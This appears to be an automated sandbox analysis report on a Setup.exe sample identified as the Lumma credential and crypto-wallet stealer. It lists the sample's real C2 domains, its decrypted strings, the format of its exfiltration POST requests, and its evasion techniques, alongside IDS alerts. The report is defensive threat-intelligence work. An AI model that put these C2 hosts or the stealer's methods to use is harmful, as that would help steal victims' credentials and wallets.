Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample name:	Setup.exe
Analysis ID:	1579541
MD5:	1bb77fc90fba4c11eb12606d8721fe21
SHA1:	cbccd90cde2ff9fc729fa7d04ac6d02c3ea08e6a
SHA256:	bb34760899fecabbe502ba6b969ac7d0436e1780ff4c99e71edd8230451431b7
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Setup.exe (PID: 6660 cmdline: "C:\Users\user\Desktop\Setup.exe" MD5: 1BB77FC90FBA4C11EB12606D8721FE21)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["discokeyus.lat", "energyaffai.lat", "sustainskelet.lat", "rapeflowwj.lat", "crosshuaht.lat", "grannyejh.lat", "aspecteirs.lat", "locketplyxx.click", "necklacebudi.lat"], "Build id": "jMw1IE--BARNI"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x4a843:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000003.2362706231.000000000158F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2362505878.0000000001578000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Setup.exe PID: 6660	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Setup.exe PID: 6660	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Setup.exe PID: 6660	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:32:22.671287+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	172.67.151.193	443	TCP
2024-12-22T23:32:25.053250+0100	2028371	3	Unknown Traffic	192.168.2.5	49717	172.67.151.193	443	TCP
2024-12-22T23:32:27.939198+0100	2028371	3	Unknown Traffic	192.168.2.5	49723	172.67.151.193	443	TCP
2024-12-22T23:32:30.702383+0100	2028371	3	Unknown Traffic	192.168.2.5	49729	172.67.151.193	443	TCP
2024-12-22T23:32:33.585636+0100	2028371	3	Unknown Traffic	192.168.2.5	49739	172.67.151.193	443	TCP
2024-12-22T23:32:36.153334+0100	2028371	3	Unknown Traffic	192.168.2.5	49744	172.67.151.193	443	TCP
2024-12-22T23:32:38.218323+0100	2028371	3	Unknown Traffic	192.168.2.5	49750	172.67.151.193	443	TCP
2024-12-22T23:32:40.617746+0100	2028371	3	Unknown Traffic	192.168.2.5	49756	172.67.151.193	443	TCP
2024-12-22T23:32:46.606714+0100	2028371	3	Unknown Traffic	192.168.2.5	49763	194.58.112.174	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:32:23.814971+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49711	172.67.151.193	443	TCP
2024-12-22T23:32:26.335952+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49717	172.67.151.193	443	TCP
2024-12-22T23:32:41.667755+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49756	172.67.151.193	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:32:23.814971+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49711	172.67.151.193	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:32:26.335952+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49717	172.67.151.193	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:32:39.377234+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49750	172.67.151.193	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: Setup.exe.6660.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["discokeyus.lat", "energyaffai.lat", "sustainskelet.lat", "rapeflowwj.lat", "crosshuaht.lat", "grannyejh.lat", "aspecteirs.lat", "locketplyxx.click", "necklacebudi.lat"], "Build id": "jMw1IE--BARNI"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 89.3% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: locketplyxx.click
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp	String decryptor: jMw1IE--BARNI

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49756 version: TLS 1.2

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: F:\Ost_profile\StellarIntializer\Release\StellarIntializer.pdb` source: Setup.exe
Source:	Binary string: F:\Ost_profile\StellarIntializer\Release\StellarIntializer.pdb source: Setup.exe

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00B87018 __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,

0_2_00B87018

Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\3D Objects	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_01477128
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+504E7D94h]	0_2_01498016
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ebx, eax	0_2_01467086
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ebp, eax	0_2_01467086
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax-000001D0h]	0_2_0146B300
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ecx, eax	0_2_01476332
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0148B3E6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+06h]	0_2_0147E243
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ecx, eax	0_2_0148D2C5
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0148D2C5
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ecx, eax	0_2_0148D2BE
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0148D2BE
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+504E7DA5h]	0_2_0147B546
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	0_2_0147B546
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], E785F9BAh	0_2_01498516
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+504E7DB9h]	0_2_01478599
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0147E5A6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov edi, ecx	0_2_0146B5A1
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then push eax	0_2_0149B5B4
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov edx, eax	0_2_01487416
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	0_2_014894FF
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then push esi	0_2_0148E779
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov esi, 00000093h	0_2_0149A736
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ebx, 00000093h	0_2_0149A736
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ecx, edx	0_2_0149E7C6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx eax, byte ptr [edi+ecx]	0_2_0149B7A2
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	0_2_01483666
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov ecx, eax	0_2_0149B6B6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then jmp ecx	0_2_01484948
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_014799E6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-2Eh]	0_2_0148A9FA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 5E874B5Fh	0_2_014879A6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov eax, ebx	0_2_014879A6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp word ptr [ebx+ecx], 0000h	0_2_01483B66
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx edx, word ptr [ebp+ecx+02h]	0_2_01498BC8
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_01468BE6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_01468BE6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_0147FA46
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_01494A46
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+504E7EACh]	0_2_0146EA5A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov edx, ecx	0_2_0149BA72
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+ecx-69C6FBC4h]	0_2_01488ACA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+7939217Dh]	0_2_0146ED14
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov byte ptr [edi], dl	0_2_0146ED14
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov esi, ecx	0_2_0149DC46
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp al, 5Ch	0_2_01463C56
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_01489CCF
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_0148DF14
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-7B525617h]	0_2_0148CF21
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_0148DFEB
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_0148DFFA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_0148DFA8
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1892DC89h]	0_2_01487E06
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], E785F9BAh	0_2_01489EE1
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then mov esi, dword ptr [esp+48h]	0_2_01489EE1
Source: C:\Users\user\Desktop\Setup.exe	Code function: 4x nop then cmp dword ptr [ebp+esi*8+00h], E785F9BAh	0_2_0148AEB2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49711 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49711 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49756 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49717 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49717 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49750 -> 172.67.151.193:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: locketplyxx.click
Source: Malware configuration extractor	URLs: necklacebudi.lat

Source: Joe Sandbox View

IP Address: 194.58.112.174 194.58.112.174

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49723 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49763 -> 194.58.112.174:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49744 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49729 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49756 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49750 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49717 -> 172.67.151.193:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49739 -> 172.67.151.193:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 79Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=O0NV6ML4KCB2RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12805Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CL7DNLMIGBAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15035Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=E1TGL2IM4PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20519Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DBW16J0K9SXKV34RLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1249Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=G33O3RTWL8FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1075Host: locketplyxx.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 114Host: locketplyxx.click

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: locketplyxx.click
Source: global traffic	DNS traffic detected: DNS query: neqi.shop
Source: global traffic	DNS traffic detected: DNS query: klipcatepiu0.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: locketplyxx.click

Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Setup.exe, 00000000.00000003.2362449940.00000000015B9000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2278965217.00000000015B9000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2420222881.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microx
Source: Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Setup.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Setup.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
